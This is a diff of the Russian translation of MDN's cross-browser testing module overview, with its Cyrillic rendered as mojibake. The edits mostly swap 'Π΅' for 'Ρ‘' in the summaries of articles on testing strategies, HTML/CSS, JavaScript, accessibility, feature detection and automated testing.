ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ Ρ‚ΠΈΠΏΠ°ΠΌΠΈ ΠΊΠΎΠ΄Π° ΠΈ способы смягчСния ΠΈΡ…, ΠΊΠ°ΠΊΠΈΠ΅ инструмСнты Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π² тСстировании ΠΈ устранСнии ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΡŽ для ускорСния тСстирования.</p>
+<p class="summary">Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ фокусируСтся Π½Π° тСстировании Π²Π΅Π±-ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π² Ρ€Π°Π·Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ΠœΡ‹ рассматриваСм ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ вашСй Ρ†Π΅Π»Π΅Π²ΠΎΠΉ Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΠΈ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎ ΠΊΠ°ΠΊΠΈΡ… ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΡ…, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈ устройствах Π²Π°ΠΌ большС всСго Π½ΡƒΠΆΠ½ΠΎ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ?), Как ΠΏΡ€ΠΎΠΉΡ‚ΠΈ тСстированиС, основныС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Π°ΠΌ придётся ΡΡ‚ΠΎΠ»ΠΊΠ½ΡƒΡ‚ΡŒΡΡ с Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ Ρ‚ΠΈΠΏΠ°ΠΌΠΈ ΠΊΠΎΠ΄Π° ΠΈ способы смягчСния ΠΈΡ…, ΠΊΠ°ΠΊΠΈΠ΅ инструмСнты Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ для ΠΏΠΎΠΌΠΎΡ‰ΠΈ Π² тСстировании ΠΈ устранСнии ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΡŽ для ускорСния тСстирования.</p>
<h2 id="ΠŸΡ€Π΅Π΄ΠΏΠΎΡΡ‹Π»ΠΊΠΈ">ΠŸΡ€Π΅Π΄ΠΏΠΎΡΡ‹Π»ΠΊΠΈ</h2>
@@ -15,20 +15,20 @@ translation_of: Learn/Tools_and_testing/Cross_browser_testing
<dl>
<dt><a href="/ru/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС</a></dt>
- <dd>Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ начинаСтся с ΠΎΠ±Π·ΠΎΡ€Π° Ρ‚Π΅ΠΌΡ‹ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ тСстирования ΠΈ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π½Π° Ρ‚Π°ΠΊΠΈΠ΅ вопросы, ΠΊΠ°ΠΊ Β«Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС?Β», «с ΠΊΠ°ΠΊΠΈΠΌΠΈ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнными Ρ‚ΠΈΠΏΠ°ΠΌΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ?Β» ΠΈ Β«ΠΊΠ°ΠΊΠΎΠ²Ρ‹ основныС ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Ρ‹ ΠΊ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ, Π²Ρ‹ΡΠ²Π»Π΅Π½ΠΈΡŽ ΠΈ ΡƒΡΡ‚Ρ€Π°Π½Π΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ?"</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ начинаСтся с ΠΎΠ±Π·ΠΎΡ€Π° Ρ‚Π΅ΠΌΡ‹ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ³ΠΎ тСстирования ΠΈ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π½Π° Ρ‚Π°ΠΊΠΈΠ΅ вопросы, ΠΊΠ°ΠΊ Β«Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½ΠΎΠ΅ тСстированиС?Β», «с ΠΊΠ°ΠΊΠΈΠΌΠΈ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространёнными Ρ‚ΠΈΠΏΠ°ΠΌΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ?Β» ΠΈ Β«ΠΊΠ°ΠΊΠΎΠ²Ρ‹ основныС ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Ρ‹ ΠΊ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ, Π²Ρ‹ΡΠ²Π»Π΅Π½ΠΈΡŽ ΠΈ ΡƒΡΡ‚Ρ€Π°Π½Π΅Π½ΠΈΡŽ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ?"</dd>
<dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Π‘Ρ‚Ρ€Π°Ρ‚Π΅Π³ΠΈΠΈ провСдСния тСстирования</a></dt>
<dd>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ углубимся Π² тСстированиС, рассматривая Ρ†Π΅Π»Π΅Π²ΡƒΡŽ Π°ΡƒΠ΄ΠΈΡ‚ΠΎΡ€ΠΈΡŽ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€Β ΠΊΠ°ΠΊΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, устройства ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ сСгмСнты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒΡΡ), стратСгии тСстирования Π½ΠΈΠ·ΠΊΠΎΠ³ΠΎ уровня (ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ сСбС мноТСство устройств ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… машин ΠΈ Π΄Π΅Π»Π°Ρ‚ΡŒ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ тСсты, ΠΊΠΎΠ³Π΄Π° это Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ), стратСгии Π±ΠΎΠ»Π΅Π΅ высоких Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ (автоматизация, использованиС ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… тСстовых ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ) ΠΈ тСстированиС с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π³Ρ€ΡƒΠΏΠΏ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ.</dd>
<dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Рассмотрим ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ HTML ΠΈ CSS</a></dt>
- <dd>Π‘ Π½Π°Π±ΠΎΡ€ΠΎΠΌ сцСнариСв, ΠΌΡ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ рассмотрим ΠΎΠ±Ρ‰ΠΈΠ΅ кроссбраузСрныС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ Π² ΠΊΠΎΠ΄Π΅ HTML ΠΈ CSS, ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ инструмСнты ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для прСдотвращСния возникновСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΈΠ»ΠΈ устранСния Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ. Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя листинг ΠΊΠΎΠ΄Π°, ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ прСфиксов CSS, использованиС инструмСнтов Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° dev tools для устранСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, использованиС ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ»ΠΎΠ² для добавлСния ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ Π΄ΠΈΠ·Π°ΠΉΠ½ΠΎΠΌ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</dd>
+ <dd>Π‘ Π½Π°Π±ΠΎΡ€ΠΎΠΌ сцСнариСв, ΠΌΡ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ рассмотрим ΠΎΠ±Ρ‰ΠΈΠ΅ кроссбраузСрныС ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ Π² ΠΊΠΎΠ΄Π΅ HTML ΠΈ CSS, ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ инструмСнты ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для прСдотвращСния возникновСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΈΠ»ΠΈ устранСния Π²ΠΎΠ·Π½ΠΈΠΊΠ°ΡŽΡ‰ΠΈΡ… ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ. Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя листинг ΠΊΠΎΠ΄Π°, ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Ρƒ прСфиксов CSS, использованиС инструмСнтов Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° dev tools для устранСния ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, использованиС ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ»ΠΎΠ² для добавлСния ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΌ Π΄ΠΈΠ·Π°ΠΉΠ½ΠΎΠΌ ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</dd>
<dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Рассмотрим ΠΎΠ±Ρ‰ΠΈΠ΅Β ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ JavaScript</a></dt>
<dd>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΌΡ‹ рассмотрим ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ JavaScript Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ ΠΈ ΠΊΠ°ΠΊ ΠΈΡ… ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ. Π­Ρ‚ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΠ± использовании инструмСнтов Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для отслСТивания ΠΈ устранСния Π½Π΅ΠΏΠΎΠ»Π°Π΄ΠΎΠΊ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΏΠΎΠ»ΠΈΡ„ΠΈΠ»Ρ‹ ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, получСния соврСмСнных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ JavaScript, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΡ… Π² старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…, ΠΈ ΠΌΠ½ΠΎΠ³ΠΎΠ΅ Π΄Ρ€ΡƒΠ³ΠΎΠ΅.</dd>
<dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Рассмотрим ΠΎΠ±Ρ‰ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ доступности</a></dt>
- <dd>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΎΠ±Ρ€Π°Ρ‰Π°Π΅ΠΌ нашС Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ, прСдоставляя ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ…, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ простоС тСстированиС, ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ инструмСнты Π°ΡƒΠ΄ΠΈΡ‚Π°/Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ для поиска ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ доступности.</dd>
+ <dd>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΎΠ±Ρ€Π°Ρ‰Π°Π΅ΠΌ нашС Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ, прСдоставляя ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ…, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ простоС тСстированиС, ΠΈ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ инструмСнты Π°ΡƒΠ΄ΠΈΡ‚Π°/Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ для поиска ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ доступности.</dd>
<dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Π’Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ свойства обнаруТСния</a></dt>
- <dd>Бвойство Π²Ρ‹ΡΠ²Π»Π΅Π½ΠΈΡΒ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄, зависящий ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π΄Π΅Π»Π°Π΅Ρ‚ ΠΎΠ½ (ΠΈΠ»ΠΈ Π½Π΅Ρ‚), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всСгда ΠΌΠΎΠ³ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ силу, Π° Ρ‚Π°ΠΊΠΆΠ΅ сбои / ошибки Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ описываСтся, ΠΊΠ°ΠΊ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ выявлСния, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ для ускорСния Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ  <code>@supports</code>.</dd>
+ <dd>Бвойство Π²Ρ‹ΡΠ²Π»Π΅Π½ΠΈΡΒ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π² сСбя Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ Π»ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π°, ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄, зависящий ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π΄Π΅Π»Π°Π΅Ρ‚ ΠΎΠ½ (ΠΈΠ»ΠΈ Π½Π΅Ρ‚), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ всСгда ΠΌΠΎΠ³ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‡ΡƒΡŽ силу, Π° Ρ‚Π°ΠΊΠΆΠ΅ сбои / ошибки Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ описываСтся, ΠΊΠ°ΠΊ Π½Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ выявлСния, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ для ускорСния Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ встроСнныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для обнаруТСния Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ  <code>@supports</code>.</dd>
<dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ тСстированиС</a></dt>
<dd>Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ тСстированиС<br>
- Π’Ρ€ΡƒΡ‡Π½ΡƒΡŽ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ тСсты Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈ устройствах, нСсколько Ρ€Π°Π· Π² дСнь, ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΡƒΡ‚ΠΎΠΌΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ Ρ‚Ρ€ΡƒΠ΄ΠΎΠ΅ΠΌΠΊΠΈΠΌ. Π§Ρ‚ΠΎΠ±Ρ‹ эффСктивно ΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ с этим, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с инструмСнтами Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим, Ρ‡Ρ‚ΠΎ доступно, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Π΄Π°Ρ‡ΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ основы использования коммСрчСских ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ для Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ тСстирования Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Sauce Labs ΠΈ Browser Stack.</dd>
+ Π’Ρ€ΡƒΡ‡Π½ΡƒΡŽ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ тСсты Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈ устройствах, нСсколько Ρ€Π°Π· Π² дСнь, ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΡƒΡ‚ΠΎΠΌΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΈ Ρ‚Ρ€ΡƒΠ΄ΠΎΡ‘ΠΌΠΊΠΈΠΌ. Π§Ρ‚ΠΎΠ±Ρ‹ эффСктивно ΡΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒΡΡ с этим, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с инструмСнтами Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ рассмотрим, Ρ‡Ρ‚ΠΎ доступно, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π°Π΄Π°Ρ‡ΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ основы использования коммСрчСских ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ для Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ тСстирования Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Sauce Labs ΠΈ Browser Stack.</dd>
<dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Настройка собствСнной срСды Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ тСстирования</a></dt>
<dd>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π½Π°ΡƒΡ‡ΠΈΠΌ вас, ΠΊΠ°ΠΊ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ срСду Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ собствСнныС тСсты с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Selenium / WebDriver ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠΈ тСстирования, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠ°ΠΊ selenium-webdriver для Node. ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ рассмотрим, ΠΊΠ°ΠΊ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ Ρ‚Π΅ΡΡ‚ΠΎΠ²ΡƒΡŽ срСду с коммСрчСскими прилоТСниями, Ρ‚Π°ΠΊΠΈΠΌΠΈ 